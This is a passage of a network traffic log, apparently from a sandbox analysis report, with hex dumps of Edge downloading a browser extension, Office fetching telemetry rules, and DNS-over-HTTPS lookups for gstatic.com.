2024-11-21 21:04:58 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49851	172.217.19.225	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:04:52 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 15592 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 21:04:52 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-21 21:04:52 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:52 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210452Z-r1d97b99577dd2gchC1TEBz5ys0000000an000000000vk68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:04:52 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49865	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:52 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:52 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a279b981439c-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:52 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 cf 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49870	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:53 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:52 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a27a8de90f5d-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:53 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bf 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49871	162.159.61.3	443	1180	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 21:04:52 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 21:04:53 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 21:04:53 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e63a27b5fde4384-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 21:04:53 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 25 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom% c)

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:04:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:04:53 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:04:53 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T210453Z-1777c6cb7544nvmshC1TEBf7qc0000000bcg00000000t81t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:04:53 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 